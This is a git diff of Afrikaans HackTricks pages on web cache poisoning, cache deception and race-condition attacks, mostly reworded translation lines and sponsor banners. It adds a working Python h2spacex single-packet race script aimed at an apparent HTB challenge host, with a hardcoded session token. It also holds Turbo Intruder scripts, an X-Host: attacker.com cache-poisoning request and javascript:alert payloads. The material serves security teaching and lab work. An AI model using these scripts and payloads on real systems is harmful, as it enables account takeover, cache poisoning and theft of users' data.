As jy vind dat die **`X-Host`**-kop gebruik word as **domeinnaam om 'n JS-hulpbron te laai** maar die **`Vary`**-kop in die respons dui aan **`User-Agent`**. Dan moet jy 'n manier vind om die User-Agent van die slagoffer te eksfiltreer en die cache te vergiftig deur daardie gebruikeragent te gebruik:
```markup
GET / HTTP/1.1
Host: vulnerbale.net
@ -114,18 +114,18 @@ X-Host: attacker.com
```
### Uitbuiting van HTTP-cachevergiftiging deur misbruik te maak van HTTP-aanvraagsmokkelarij
Leer hier oor hoe om [Cache-vergiftigingsaanvalle uit te voer deur misbruik te maak van HTTP-aanvraagsmokkelarij](http-request-smuggling/#using-http-request-smuggling-to-perform-web-cache-poisoning).
Leer hier oor hoe om [Cache-vergiftigingsaanvalle uit te voer deur HTTP-aanvraagsmokkelarij te misbruik](http-request-smuggling/#using-http-request-smuggling-to-perform-web-cache-poisoning).
### Geoutomatiseerde toetsing vir Web Cache-vergiftiging
Die [Web Cache Vulnerability Scanner](https://github.com/Hackmanit/Web-Cache-Vulnerability-Scanner) kan gebruik word om outomaties te toets vir web-cachevergiftiging. Dit ondersteun baie verskillende tegnieke en is hoogs aanpasbaar.
Die [Web Cache-kwesbaarheidsskandeerder](https://github.com/Hackmanit/Web-Cache-Vulnerability-Scanner) kan gebruik word om outomaties te toets vir web-cachevergiftiging. Dit ondersteun baie verskillende tegnieke en is hoogs aanpasbaar.
Voorbeeldgebruik: `wcvs -u example.com`
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\
Gebruik [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) om maklik **werkvloeie** te bou en outomatiseer wat aangedryf word deur die wêreld se **mees gevorderde** gemeenskapshulpmiddels.\
Gebruik [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) om maklik **werkvloeie te bou** en outomatiseer wat aangedryf word deur die wêreld se **mees gevorderde** gemeenskapshulpmiddels.\
Kry Vandag Toegang:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
@ -134,7 +134,7 @@ Kry Vandag Toegang:
### Apache Traffic Server ([CVE-2021-27577](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-27577))
ATS het die fragment binne die URL deurgestuur sonder om dit te stroop en het die cache-sleutel slegs geskep deur die gasheer, pad en navraag te gebruik (met uitsluiting van die fragment). Dus is die versoek `/#/../?r=javascript:alert(1)` na die agterste stuur as `/#/../?r=javascript:alert(1)` en het die cache-sleutel nie die lading binne dit gehad nie, slegs gasheer, pad en navraag.
ATS het die fragment binne die URL deurgestuur sonder om dit te stroop en het die cache-sleutel slegs gegenereer deur die gasheer, pad en navraag te gebruik (met uitsluiting van die fragment). Dus is die versoek `/#/../?r=javascript:alert(1)` na die agterste stuur as `/#/../?r=javascript:alert(1)` en het die cache-sleutel nie die lading binne dit gehad nie, slegs gasheer, pad en navraag.
### GitHub CP-DoS
@ -152,13 +152,13 @@ In Ruby on Rails-aansoeke word Rak-middelware dikwels gebruik. Die doel van die
Cloudflare het vroeër 403-reaksies gekaap. 'n Poging om S3- of Azure-stoorblokke met ongeldige Autorisasiekoppe te benader, sou 'n 403-reaksie tot gevolg hê wat gekaap is. Alhoewel Cloudflare opgehou het om 403-reaksies te kies, kan hierdie gedrag nog steeds teenwoordig wees in ander proksi-diens.
### Injeksie van Gesleutelde Parameters
### Injekteer Gesleutelde Parameters
Cache sluit dikwels spesifieke GET-parameter in die cache-sleutel in. Byvoorbeeld, Fastly se Varnish het die `grootte`-parameter in versoekers gekaap. As 'n URL-gekodeerde weergawe van die parameter (bv., `siz%65`) ook met 'n foutiewe waarde gestuur is, sou die cache-sleutel opgestel word deur die korrekte `grootte`-parameter te gebruik. Tog sou die agterste waarde in die URL-gekodeerde parameter verwerk word. URL-kodering van die tweede `grootte`-parameter het tot sy weglaat deur die cache gelei, maar tot sy gebruik deur die agterste. Die toekenning van 'n waarde van 0 aan hierdie parameter het gelei tot 'n koppelbare 400 Foutversoek-fout.
### Gebruikeragentreëls
Sommige ontwikkelaars blokkeer versoekers met gebruikers-agente wat ooreenstem met dié van hoë-verkeer-hulpmiddels soos FFUF of Nuclei om bedienerslas te bestuur. Ironies genoeg kan hierdie benadering kwesbaarhede soos cache-vergiftiging en DoS inbring.
Sommige ontwikkelaars blokkeer versoekers met gebruiker-agente wat ooreenstem met dié van hoë-verkeer-hulpmiddels soos FFUF of Nuclei om bedienerslas te bestuur. Ironies genoeg kan hierdie benadering kwesbaarhede soos cache-vergiftiging en DoS inbring.
### Onwettige Kopvelvelde
@ -172,7 +172,7 @@ Die [RFC7230](https://datatracker.ietf.mrg/doc/html/rfc7230) spesifiseer die aan
Die doel van Cache Bedrog is om kliënte **hulpbronne te laat laai wat deur die cache met hul sensitiewe inligting gestoor gaan word**.
Eerstens, let daarop dat **uitbreidings** soos `.css`, `.js`, `.png` ens. gewoonlik **gekonfigureer** is om in die **cache gestoor** te word. Daarom, as jy `www.example.com/profile.php/nonexistent.js` besoek, sal die cache waarskynlik die reaksie stoor omdat dit die `.js` **uitbreiding** sien. Maar, as die **toepassing** met die **sensitiewe** gebruikersinhoud wat gestoor is in _www.example.com/profile.php_ herhaal, kan jy daardie inhoud van ander gebruikers **steel**.
Eerstens, let daarop dat **uitbreidings** soos `.css`, `.js`, `.png` ens. gewoonlik **gekonfigureer** is om in die **cache gestoor** te word. Daarom, as jy `www.example.com/profile.php/nonexistent.js` besoek, sal die cache waarskynlik die reaksie stoor omdat dit die `.js` **uitbreiding** sien. Maar, as die **toepassing** met die **sensitiewe** gebruikersinhoud wat in _www.example.com/profile.php_ gestoor is, herhaal word, kan jy daardie inhoud van ander gebruikers **steel**.
Ander dinge om te toets:
@ -184,12 +184,16 @@ Ander dinge om te toets:
* _Gebruik minder bekende uitbreidings soos_ `.avif`
'n Baie duidelike voorbeeld kan gevind word in hierdie skrywe: [https://hackerone.com/reports/593712](https://hackerone.com/reports/593712).\
In die voorbeeld word verduidelik dat as jy 'n nie-bestaande bladsy laai soos _http://www.example.com/home.php/non-existent.css_ die inhoud van _http://www.example.com/home.php_ (**met die sensitiewe inligting van die gebruiker**) teruggegee gaan word en die cache-bediener gaan die resultaat stoor.\
In die voorbeeld word verduidelik dat as jy 'n nie-bestaande bladsy soos _http://www.example.com/home.php/non-existent.css_ laai, die inhoud van _http://www.example.com/home.php_ (**met die gebruiker se sensitiewe inligting**) teruggegee gaan word en die cache-bediener gaan die resultaat stoor.\
Dan kan die **aanvaller** _http://www.example.com/home.php/non-existent.css_ in hul eie blaaier toegang en die **vertroulike inligting** van die gebruikers wat voorheen toegang gekry het, waarneem.
Let daarop dat die **cache-proksi** ingestel moet wees om lêers te **stoor** **gebaseer** op die **uitbreiding** van die lêer (_.css_) en nie op die inhoudstipe nie. In die voorbeeld _http://www.example.com/home.php/non-existent.css_ sal 'n `text/html` inhoudstipe hê in plaas van 'n `text/css` mime-tipe (wat die verwagte vir 'n _.css_ lêer is).
Let daarop dat die **cache-proksi** moet wees **gekonfigureer** om lêers **gebaseer** op die **uitbreiding** van die lêer (_.css_) te **stoor** en nie op die inhoudstipe nie. In die voorbeeld _http://www.example.com/home.php/non-existent.css_ sal 'n `text/html` inhoudstipe hê in plaas van 'n `text/css` mime-tipe (wat die verwagte vir 'n _.css_ lêer is).
Leer hier oor hoe om [Cache Bedrog-aanvalle uit te voer deur misbruik te maak van HTTP-aanvraagsmokkelarij](http-request-smuggling/#using-http-request-smuggling-to-perform-web-cache-deception).
Leer hier oor hoe om [Cache Bedrog-aanvalle uit te voer deur HTTP-aanvraagsmokkelarij te misbruik](http-request-smuggling/#using-http-request-smuggling-to-perform-web-cache-deception).
## Outomatiese Gereedskap
* [**toxicache**](https://github.com/xhzeem/toxicache): Golang-skandeerder om web-cachevergiftigingskwesbaarhede in 'n lys URL's te vind en verskeie inspuitingstegnieke te toets.
## Verwysings
@ -203,7 +207,7 @@ Leer hier oor hoe om [Cache Bedrog-aanvalle uit te voer deur misbruik te maak va
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\
Gebruik [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) om maklik **werkvloeie** te bou en outomatiseer wat aangedryf word deur die wêreld se **mees gevorderde** gemeenskapshulpmiddels.\
Gebruik [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) om maklik **werkvloeie te bou** en outomatiseer wat aangedryf word deur die wêreld se **mees gevorderde** gemeenskapshulpmiddels.\
Kry Vandag Toegang:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
@ -213,8 +217,10 @@ Kry Vandag Toegang:
Ander maniere om HackTricks te ondersteun:
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS-familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
* **Deel jou hacking-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
</details>

View file

@ -4,13 +4,13 @@
\
Gebruik [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) om maklik en **outomatiseer werkstrome** te bou wat aangedryf word deur die wêreld se **mees gevorderde** gemeenskapshulpmiddels.\
Kry Toegang Vandag:
Kry Vandaag Toegang:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
<details>
<summary><strong>Leer AWS hakwerk van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Leer AWS hak van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Ander maniere om HackTricks te ondersteun:
@ -18,7 +18,7 @@ Ander maniere om HackTricks te ondersteun:
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Deel jou haktruuks deur PRs in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
* **Deel jou haktruuks deur PRs in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
@ -32,35 +32,35 @@ Die grootste struikelblok om voordeel te trek uit wedloop toestande is om seker
Hier kan jy 'n paar tegnieke vir Sinchronisering van Versoeke vind:
#### HTTP/2 Enkel-Pakket Aanval teenoor HTTP/1.1 Laaste-Byte Sinsronisering
#### HTTP/2 Enkel-Pakket Aanval teenoor HTTP/1.1 Laaste-Byte Sinchronisering
* **HTTP/2**: Ondersteun die stuur van twee versoeke oor 'n enkele TCP-koppeling, wat die impak van netwerkfluktuasie verminder. Tog, as gevolg van serverkant variasies, mag twee versoeke nie voldoende wees vir 'n konsekwente wedloop toestand uitbuiting nie.
* **HTTP/1.1 'Laaste-Byte Sync'**: Maak die vooraf stuur van die meeste dele van 20-30 versoeke moontlik, met die terughouding van 'n klein fragment, wat dan saam gestuur word, om gelyktydige aankoms by die bediener te bereik.
* **HTTP/2**: Ondersteun die stuur van twee versoeke oor 'n enkele TCP-verbinding, wat die impak van netwerkfluktuasie verminder. Tog, as gevolg van serverkant variasies, mag twee versoeke nie voldoende wees vir 'n konsekwente wedloop toestand aanval nie.
* **HTTP/1.1 'Laaste-Byte Sinchronisering'**: Maak dit moontlik om die vooraf stuur van die meeste dele van 20-30 versoeke, met die terughouding van 'n klein fragment, wat dan saam gestuur word, om gelyktydige aankoms by die bediener te bereik.
**Voorbereiding vir Laaste-Byte Sync** behels:
**Voorbereiding vir Laaste-Byte Sinchronisering** behels:
1. Stuur koppe en liggaamdata minus die finale byte sonder om die stroom te beëindig.
2. Pauzeer vir 100ms na die aanvanklike stuur.
3. Deaktiveer TCP\_NODELAY om Nagle se algoritme te gebruik vir die groepering van finale rame.
4. Ping om die koppeling op te warm.
4. Ping om die verbinding op te warm.
Die daaropvolgende stuur van terughou rame behoort in hul aankoms in 'n enkele pakket te resulteer, wat verifieer kan word via Wireshark. Hierdie metode is nie van toepassing op statiese lêers wat nie tipies betrokke is by RC aanvalle nie.
Die daaropvolgende stuur van terughou rame behoort te lei tot hul aankoms in 'n enkele pakket, wat verifieer kan word via Wireshark. Hierdie metode is nie van toepassing op statiese lêers wat nie tipies betrokke is by RC aanvalle nie.
### Aanpassing aan Bedienerargitektuur
Die begrip van die teiken se argitektuur is krities. Front-end bedieners mag versoeke anders roeteer, wat die tydsberekening beïnvloed. Voorsorgmaatreëls vir vooraf bedienerkant koppelingopwarming, deur onbeduidende versoeke, kan versoektydsberekening normaliseer.
Die begrip van die teiken se argitektuur is krities. Front-end bedieners mag versoeke anders roeteer, wat die tydsberekening beïnvloed. Voorsorgmaatreëls vir vooraf bedienerkant-verbindingopwarming, deur onbeduidende versoeke, kan versoektydsberekening normaliseer.
#### Hantering van Sessie-Gebaseerde Sluiting
Raamwerke soos PHP se sessiehanterer serialize versoeke per sessie, wat moontlik kwesbaarhede kan verberg. Die gebruik van verskillende sessietokens vir elke versoek kan hierdie probleem omseil.
Raamwerke soos PHP se sessiehanterer serializeer versoeke per sessie, wat moontlik kwesbaarhede kan verberg. Die gebruik van verskillende sessietokens vir elke versoek kan hierdie probleem omseil.
#### Oorkom van Tarief- of Hulpbronbeperkings
As koppelingopwarming nie effektief is nie, kan die opsetlike aktivering van webbedieners se tarief- of hulpbronbeperkingsvertragings deur 'n vloed van dummiversoeke die enkel-pakket aanval fasiliteer deur 'n bedienerside vertraging te veroorsaak wat bevorderlik is vir wedloop toestande.
As verbindingopwarming nie effektief is nie, kan die opsetlike aktivering van webbedieners se tarief- of hulpbronbeperkingsvertragings deur 'n vloed van dummiversoeke die enkel-pakket aanval fasiliteer deur 'n bedienerkantvertraging te veroorsaak wat bevorderlik is vir wedloop toestande.
## Aanval Voorbeelde
* **Tubo Intruder - HTTP2 enkel-pakket aanval (1 eindpunt)**: Jy kan die versoek na **Turbo intruder** stuur (`Uitbreidings` -> `Turbo Intruder` -> `Stuur na Turbo Intruder`), jy kan in die versoek die waarde wat jy wil kragtig afdwing vir **`%s`** soos in `csrf=Bn9VQB8OyefIs3ShR2fPESR0FzzulI1d&username=carlos&password=%s` en dan die **`examples/race-single-packer-attack.py`** van die keuslys kies:
* **Tubo Intruder - HTTP2 enkel-pakket aanval (1 eindpunt)**: Jy kan die versoek na **Turbo intruder** stuur (`Uitbreidings` -> `Turbo Intruder` -> `Stuur na Turbo Intruder`), jy kan in die versoek die waarde wat jy wil kragtig afdwing vir **`%s`** verander soos in `csrf=Bn9VQB8OyefIs3ShR2fPESR0FzzulI1d&username=carlos&password=%s` en kies dan die **`voorbeelde/wedloop-enkelpakket-aanval.py`** van die keuslys:
<figure><img src="../.gitbook/assets/image (4) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
@ -74,7 +74,7 @@ engine.queue(target.req, password, gate='race1')
As die web nie HTTP2 ondersteun nie (slegs HTTP1.1), gebruik `Engine.THREADED` of `Engine.BURP` in plaas van `Engine.BURP2`.
{% endhint %}
* **Tubo Intruder - HTTP2 enkelpakket-aanval (Verskeie eindpunte)**: In geval jy 'n versoek na 1 eindpunt moet stuur en dan meerdere na ander eindpunte om die RCE te trigger, kan jy die `race-single-packet-attack.py` skrip verander met iets soos:
* **Tubo Intruder - HTTP2 enkelpakket-aanval (Verskeie eindpunte)**: Indien jy 'n versoek na 1 eindpunt moet stuur en dan meerdere na ander eindpunte om die RCE te trigger, kan jy die `race-single-packet-attack.py` skrip verander met iets soos:
```python
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
@ -106,19 +106,148 @@ engine.queue(confirmationReq, gate=currentAttempt)
engine.openGate(currentAttempt)
```
* Dit is ook beskikbaar in **Herhaling** via die nuwe '**Stuur groep in parallel**' opsie in Burp Suite.
* Vir **limiet-oorskryding** kan jy net dieselfde versoek **50 keer** in die groep byvoeg.
* Vir **verbindingsopwarming**, kan jy **aan die begin** van die **groep** 'n paar **versoeke** byvoeg na 'n nie-statische deel van die webbediener.
* Vir die **vertraging** van die proses **tussen** die verwerking **van een versoek en 'n ander** in 2 subtoestand-stappe, kan jy **ekstra versoeke tussen** beide versoeke byvoeg.
* Vir 'n **multi-eindpunt** RC kan jy begin om die **versoek** wat **na die verborge toestand gaan** te stuur en dan **50 versoeke** net daarna wat **die verborge toestand benut**.
* Vir **limiet-oorskryding** kan jy net die **dieselfde versoek 50 keer** in die groep byvoeg.
* Vir **verbindingsopwarming**, kan jy **aan die begin** van die **groep** 'n paar **versoeke** byvoeg na 'n nie-statiese deel van die webbediener.
* Vir die **vertraging** van die proses **tussen** die verwerking **van een versoek en 'n ander** in 2 substaat-stappe, kan jy **ekstra versoeke tussen** beide versoeke byvoeg.
* Vir 'n **multi-eindpunt** RC kan jy begin om die **versoek** te stuur wat **na die verborge toestand gaan** en dan **50 versoeke** net daarna stuur wat **die verborge toestand benut**.
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
### Rou BF
* **Geoutomatiseerde Python-skrip**: Die doel van hierdie skrip is om die e-pos van 'n gebruiker te verander terwyl dit voortdurend geverifieer word totdat die verifikasietoken van die nuwe e-pos na die laaste e-pos arriveer (dit is omdat in die kode 'n RC gesien is waar dit moontlik was om 'n e-pos te wysig maar die verifikasie na die ou een gestuur te kry omdat die veranderlike wat die e-pos aandui reeds met die eerste een gevul was).\
Wanneer die woord "objetivo" in die ontvangs e-posse gevind word, weet ons dat ons die verifikasietoken van die veranderde e-pos ontvang het en ons die aanval beëindig.
```python
# https://portswigger.net/web-security/race-conditions/lab-race-conditions-limit-overrun
# Script from victor to solve a HTB challenge
from h2spacex import H2OnTlsConnection
from time import sleep
from h2spacex import h2_frames
import requests
Voor die vorige navorsing is hierdie payloads gebruik wat net probeer het om die pakkies so vinnig as moontlik te stuur om 'n RC te veroorsaak.
cookie="session=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MiwiZXhwIjoxNzEwMzA0MDY1LCJhbnRpQ1NSRlRva2VuIjoiNDJhMDg4NzItNjEwYS00OTY1LTk1NTMtMjJkN2IzYWExODI3In0.I-N93zbVOGZXV_FQQ8hqDMUrGr05G-6IIZkyPwSiiDg"
* **Herhaling:** Kyk na die voorbeelde uit die vorige afdeling.
* **Indringer:** Stuur die **versoek** na **Indringer**, stel die **aantal drade** in op **30** binne die **Opsies-meny en,** kies as payload **Nul-payloads** en genereer **30.**
# change these headers
headersObjetivo= """accept: */*
content-type: application/x-www-form-urlencoded
Cookie: """+cookie+"""
Content-Length: 112
"""
bodyObjetivo = 'email=objetivo%40apexsurvive.htb&username=estes&fullName=test&antiCSRFToken=42a08872-610a-4965-9553-22d7b3aa1827'
headersVerification= """Content-Length: 1
Cookie: """+cookie+"""
"""
CSRF="42a08872-610a-4965-9553-22d7b3aa1827"
host = "94.237.56.46"
puerto =39697
url = "https://"+host+":"+str(puerto)+"/email/"
response = requests.get(url, verify=False)
while "objetivo" not in response.text:
urlDeleteMails = "https://"+host+":"+str(puerto)+"/email/deleteall/"
responseDeleteMails = requests.get(urlDeleteMails, verify=False)
#print(response.text)
# change this host name to new generated one
Headers = { "Cookie" : cookie, "content-type": "application/x-www-form-urlencoded" }
data="email=test%40email.htb&username=estes&fullName=test&antiCSRFToken="+CSRF
urlReset="https://"+host+":"+str(puerto)+"/challenge/api/profile"
responseReset = requests.post(urlReset, data=data, headers=Headers, verify=False)
print(responseReset.status_code)
h2_conn = H2OnTlsConnection(
hostname=host,
port_number=puerto
)
h2_conn.setup_connection()
try_num = 100
stream_ids_list = h2_conn.generate_stream_ids(number_of_streams=try_num)
all_headers_frames = [] # all headers frame + data frames which have not the last byte
all_data_frames = [] # all data frames which contain the last byte
for i in range(0, try_num):
last_data_frame_with_last_byte=''
if i == try_num/2:
header_frames_without_last_byte, last_data_frame_with_last_byte = h2_conn.create_single_packet_http2_post_request_frames( # noqa: E501
method='POST',
headers_string=headersObjetivo,
scheme='https',
stream_id=stream_ids_list[i],
authority=host,
body=bodyObjetivo,
path='/challenge/api/profile'
)
else:
header_frames_without_last_byte, last_data_frame_with_last_byte = h2_conn.create_single_packet_http2_post_request_frames(
method='GET',
headers_string=headersVerification,
scheme='https',
stream_id=stream_ids_list[i],
authority=host,
body=".",
path='/challenge/api/sendVerification'
)
all_headers_frames.append(header_frames_without_last_byte)
all_data_frames.append(last_data_frame_with_last_byte)
# concatenate all headers bytes
temp_headers_bytes = b''
for h in all_headers_frames:
temp_headers_bytes += bytes(h)
# concatenate all data frames which have last byte
temp_data_bytes = b''
for d in all_data_frames:
temp_data_bytes += bytes(d)
h2_conn.send_bytes(temp_headers_bytes)
# wait some time
sleep(0.1)
# send ping frame to warm up connection
h2_conn.send_ping_frame()
# send remaining data frames
h2_conn.send_bytes(temp_data_bytes)
resp = h2_conn.read_response_from_socket(_timeout=3)
frame_parser = h2_frames.FrameParser(h2_connection=h2_conn)
frame_parser.add_frames(resp)
frame_parser.show_response_of_sent_requests()
print('---')
sleep(3)
h2_conn.close_connection()
response = requests.get(url, verify=False)
```
### Roue BF
Voor die vorige navorsing was hierdie enkele lading wat gebruik is om net die pakkies so vinnig as moontlik te stuur om 'n RC te veroorsaak.
* **Herhaler:** Kyk na die voorbeelde uit die vorige afdeling.
* **Indringer:** Stuur die **versoek** na die **Indringer**, stel die **aantal drade** in op **30** binne die **Opsies-menu,** kies **Nul-ladings** as lading en genereer **30.**
* **Turbo Indringer**
```python
def queueRequests(target, wordlists):
@ -178,21 +307,21 @@ Daar is baie variasies van hierdie soort aanval, insluitend:
* Die beoordeling van 'n produk verskeie kere
* Die onttrekking of oordrag van kontant bo jou rekeningsaldo
* Die hergebruik van 'n enkele CAPTCHA-oplossing
* Die omseil van 'n anti-brute-krag limiet
* Die omseil van 'n anti-brute-force tempo-limiet
### **Versteekte subtoestande**
Die uitbuiting van komplekse wedren-toestande behels dikwels die benutting van kort geleenthede om met versteekte of **onbedoelde masjien subtoestande** te interaksieer. Hier is hoe om hierdie benadering te volg:
Die uitbuiting van komplekse wedren-toestande behels dikwels die benutting van kort geleenthede om met versteekte of **onbedoelde masjien subtoestande** te interaksieer. Hier is hoe om dit aan te pak:
1. **Identifiseer Potensiële Versteekte Subtoestande**
* Begin deur eindpunte te identifiseer wat kritieke data wysig of daarmee interaksieer, soos gebruikersprofiele of wagwoord-herstelprosesse. Fokus op:
* **Stoor**: Gee voorkeur aan eindpunte wat bedienerkant persistente data manipuleer bo die wat data aan die kliëntkant hanteer.
* **Stoor**: Gee voorkeur aan eindpunte wat bedienerkant volgehoue data manipuleer bo die wat data aan die kliëntkant hanteer.
* **Aksie**: Soek na operasies wat bestaande data verander, wat meer geneig is om uitbuitbare toestande te skep in vergelyking met die wat nuwe data byvoeg.
* **Sleutel**: Suksesvolle aanvalle behels gewoonlik operasies wat gesleutel is op dieselfde identifiseerder, bv., gebruikersnaam of herstelteken.
* **Sleuteling**: Suksesvolle aanvalle behels gewoonlik operasies wat gesleutel is op dieselfde identifiseerder, bv., gebruikersnaam of herstelteken.
2. **Voer Aanvanklike Ondersoek uit**
* Toets die geïdentifiseerde eindpunte met wedren-toestandaanvalle en let op enige afwykings van verwagte uitkomste. Onverwagte reaksies of veranderinge in aansoekgedrag kan 'n kwesbaarheid aandui.
3. **Wys die Kwesbaarheid**
* Beperk die aanval tot die minimale aantal versoek wat nodig is om die kwesbaarheid uit te buit, dikwels net twee. Hierdie stap mag verskeie pogings of outomatisering vereis as gevolg van die presiese tydsberekening wat betrokke is.
* Beperk die aanval tot die minimale aantal versoek wat nodig is om die kwesbaarheid uit te buit, dikwels net twee. Hierdie stap mag weens die presiese tydsberekening betrokke, meervoudige pogings of outomatisering vereis.
### Tydsensitiewe Aanvalle
@ -204,35 +333,35 @@ Presisie in die tydsberekening van versoek kan kwesbaarhede aan die lig bring, v
**Voorbeeld:**
* Doen twee wagwoordhersteltekensversoeke op dieselfde tyd en vergelyk hulle. Overeenstemmende tekens dui op 'n fout in teken-generering.
* Vra twee wagwoordhersteltekens op dieselfde tyd aan en vergelyk hulle. Overeenstemmende tekens dui op 'n fout in teken-generering.
**Kyk na hierdie** [**PortSwigger-lab**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-exploiting-time-sensitive-vulnerabilities) **om dit te probeer.**
## Gevallestudies van Versteekte Subtoestande
## Gevallestudies van Versteekte subtoestande
### Betaal & Voeg 'n Item by
Kyk na hierdie [**PortSwigger-lab**](https://portswigger.net/web-security/logic-flaws/examples/lab-logic-flaws-insufficient-workflow-validation) om te sien hoe om te **betaal** in 'n winkel en 'n ekstra item by te **voeg** wat jy nie vir hoef te betaal nie.
Kyk na hierdie [**PortSwigger-lab**](https://portswigger.net/web-security/logic-flaws/examples/lab-logic-flaws-insufficient-workflow-validation) om te sien hoe om te **betaal** in 'n winkel en 'n ekstra item by te **voeg** wat jy **nie vir hoef te betaal nie**.
### Bevestig ander e-posse
Die idee is om 'n e-posadres te **verifieer** en dit terselfdertyd na 'n ander een te verander om uit te vind of die platform die nuwe een verifieer.
Die idee is om 'n e-posadres te **verifieer en dit terselfdertyd na 'n ander een te verander** om uit te vind of die platform die nuwe een verifieer.
### Verander e-pos na 2 e-posadresse op Koekegebaseer
Volgens [**hierdie navorsing**](https://portswigger.net/research/smashing-the-state-machine) was Gitlab vatbaar vir 'n oorneem op hierdie manier omdat dit moontlik die **e-posverifikasietoken van een e-pos na die ander e-pos** kon **stuur**.
Volgens [**hierdie navorsing**](https://portswigger.net/research/smashing-the-state-machine) was Gitlab vatbaar vir 'n oorneem op hierdie manier omdat dit moontlik die **e-posverifikasietoken van een e-pos na die ander e-pos kan stuur**.
**Kyk na hierdie** [**PortSwigger-lab**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-single-endpoint) **om dit te probeer.**
### Versteekte Databasestatusse / Bevestigingsoorslaan
### Versteekte Databasestatusse / Bevestigingsomseiling
As **2 verskillende skrywes** gebruik word om **inligting** binne 'n **databasis by te voeg**, is daar 'n klein tydperk waarin **slegs die eerste data in die databasis geskryf is**. Byvoorbeeld, wanneer 'n gebruiker geskep word, kan die **gebruikersnaam** en **wagwoord** geskryf word en dan die teken om die nuutgeskepte rekening te bevestig. Dit beteken dat vir 'n kort tydperk die **teken om 'n rekening te bevestig nul is**.
As **2 verskillende skrywes** gebruik word om **inligting** binne 'n **databasis by te voeg**, is daar 'n klein tydperk waarin **slegs die eerste data in die databasis geskryf is**. Byvoorbeeld, wanneer 'n gebruiker geskep word, kan die **gebruikersnaam** en **wagwoord** geskryf word en daarna die teken om die nuutgeskepte rekening te bevestig. Dit beteken dat vir 'n kort tydperk die **teken om 'n rekening te bevestig nul is**.
Daarom kan **die registrasie van 'n rekening en die stuur van verskeie versoek met 'n leë teken** (`teken=` of `teken[]=` of enige ander variasie) om die rekening onmiddellik te bevestig, dit moontlik maak om 'n rekening te bevestig waar jy nie die e-pos beheer nie.
Daarom kan **die registreer van 'n rekening en die stuur van verskeie versoek met 'n leë teken** (`teken=` of `teken[]=` of enige ander variasie) om die rekening dadelik te bevestig, dit moontlik maak om 'n rekening te bevestig waar jy nie die e-pos beheer nie.
**Kyk na hierdie** [**PortSwigger-lab**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-partial-construction) **om dit te probeer.**
### Omskep 2FA
### Omseil 2FA
Die volgende pseudokode is vatbaar vir 'n wedren-toestand omdat in 'n baie kort tydperk die **2FA nie afgedwing word** terwyl die sessie geskep word:
```python
@ -253,7 +382,7 @@ Die **probleem** ontstaan wanneer jy dit **aanvaar** en outomaties 'n **`authori
#### Race Voorwaarde in `Refresh Token`
